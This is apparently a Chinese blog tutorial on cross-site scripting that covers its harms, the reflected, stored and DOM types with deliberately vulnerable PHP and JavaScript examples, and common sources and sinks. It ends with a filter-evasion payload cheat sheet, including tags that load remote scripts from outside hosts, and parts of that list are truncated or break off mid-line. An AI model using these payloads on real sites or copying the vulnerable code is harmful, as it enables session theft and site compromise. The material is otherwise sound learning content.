XSS攻击常识及常见的XSS攻击脚本

摘要:
XSS的全称是CrossSiteScripting,即跨站点脚本。XSS发生在发生意外脚本指令时,并在目标网站的目标用户浏览器呈现HTML文档时执行。

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

这里我们主要注意四点:1、目标网站目标用户;2、浏览器;3、不被预期;4、脚本。

二、XSS有什么危害?

当我们知道了什么是XSS后,也一定很想知道它到底有什么用,或者有什么危害,如何防御。

关于XSS有关危害,我这里中罗列一段列表,详细介绍不进行更多的赘述:

  • 挂马
  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  • 其它安全问题

三、XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

1、反射型XSS

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
一个简单的例子:
http://www.a.com/xss/reflect.php的代码如下:

  1. <?php
  2. echo $_GET['x'];
  3. ?>

如果输入x的值未经任何过滤就直接输出,提交:http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>
alert()函数会在浏览器触发。

2、存储型XSS

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
http://www.a.com/xss/domxss.html代码如下:

  1. <script>
  2. eval(location.hash.substr(1));
  3. </script>

触发方式为:http://www.a.com/xss/domxss.html#alert(1)

这个URL#后的内容是不会发送到服务器端的,仅仅在客户端被接收并解执行。
常见的输入点有:

  1. document.URL
  2. document.URLUnencoded
  3. document.location
  4. document.referrer
  5. window.location
  6. window.name

xhr请求回来的数据

document.cookie

表单项的值

常见的输出点有:
直接输出html内容,如:

  1. document.write(...)
  2. document.writeln(...)
  3. document.body.innerHtml=...

直接修改DOM树(包括DHTML)如:

  1. document.forms[0].action...(以及其他集合,如:一些对象的src/href属性等)
  2. document.attachEvent(...)
  3. document.create...(...)
  4. document.execCommand(...)
  5. document.body. ...(直接通过body对象访问DOM)
  6. window.attachEvent(...)

替换document URL,如:

  1. document.location=...(以及直接赋值给location的href,host,hostname属性)
  2. document.location.hostname=...
  3. document.location.replace(...)
  4. document.location.assign(...)
  5. document.URL=...
  6. window.navigate(...)

打开或修改新窗口,如:

  1. document.open(...)
  2. window.open(...)
  3. window.location.href=...(以及直接赋值给location的href,host,hostname属性)直接执行脚本,如:
  4. eval(...)
  5. window.execScript(...)
  6. window.setInterval(...)
  7. window.setTimeout(...)

附常见的XSS攻击方法

(1)普通的XSSJavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert('XSS')>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert('XSS')>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert("XSS")>

(6)修正缺陷IMG标签

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(7)formCharCode标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开

<IMG SRC="jav ascript:alert('XSS');">

(12)嵌入式编码标签,将Javascript分开

<IMG SRC="jav ascript:alert('XSS');">

(13)嵌入式换行符

<IMG SRC="jav ascript:alert('XSS');">

(14)嵌入式回车

<IMG SRC="jav ascript:alert('XSS');">

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC="javascript:alert('XSS')">

(16)解决限制字符(要求同页面)

  1. <script>z='document.'</script>
  2. <script>z=z+'write("'</script>
  3. <script>z=z+'<script'</script>
  4. <script>z=z+' src=ht'</script>
  5. <script>z=z+'tp://ww'</script>
  6. <script>z=z+'w.shell'</script>
  7. <script>z=z+'.net/1.'</script>
  8. <script>z=z+'js></sc'</script>
  9. <script>z=z+'ript>")'</script>
  10. <script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

  1. https://www.a.com/viewthread.php?action=printable&tid=15267 2/6
  2. perl -e 'print "<IMG SRC=java

免责声明:内容来源于网络,仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇bzoj2555(后缀自动机+LCT)Java 访问 C++ 方法:JavaCPP下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

nginx做本地目录映射

nginx做本地目录映射 有时候需要访问服务器上的一些静态资源,比如挂载其他设备上的图片到本地的目录,而本地的目录不在nginx根目录下,这个时候就需要简单的做一下目录映射来解决,比如想通过浏览器http://ip/image/2016/04/29/10/abc.jpg访问到系统目录/image_data/2016/04/29/10/abc.jpg需要在n...

软件测试学习随笔(3) 等价类划分之三个输入框

     在上一篇博客中使用了一个例子来说明等价类划分的方法,今天将在这篇博客中对这个程序的改进版进行测试。首先先来看一下改进版的截图:                     在原来一个输入框的基础上增加了为三个输入框,每个输入框的输入要求和原来的一样,即允许输入1-6个英文字符或数字。然后我们将对它进行测试            等价类划分如下:...

浅谈js的几种模式(三)

  接着前面两篇,终于到了第三篇了,天真冷。   组合使用构造函数模式和原型模式   前面讲到了js中的原型模式,是为了解决不共享的问题,然而也因为原型模式的共享性带来了一些问题。原型中所有的属性,对它的实例都是共享的,但是有时我们希望每个实例中能有自己私有的属性,那么此时我们就要组合使用构造函数模式和原型模式。例:           function...

EF结合SqlBulkCopy实现高效的批量数据插入 |EF插件EntityFramework.Extended实现批量更新和删除

原文链接:http://blog.csdn.net/fanbin168/article/details/51485969   批量插入 (17597条数据批量插入耗时1.7秒)   using System;   using System.Collections.Generic;   using System.Linq;   usi...

js刷新页面方法 -- (转)

1,reload 方法,该方法强迫浏览器刷新当前页面。 语法:location.reload([bForceGet]) 参数: bForceGet, 可选参数, 默认为 false,从客户端缓存里取当前页。true, 则以 GET 方式,从服务端取最新的页面, 相当于客户端点击 F5("刷新") 2,replace 方法,该方法通过指定URL替换当前缓存在...

JavaScript初学指南

目录: 包含与引入(Embedding,including) write 和 writeln 文档对象(document object) bgColor 和 fgColor 消息框(Message Box) 变量(Variables)和条件(Conditions) 函数(Function) onClick onLoad onUnload 表单(Form)...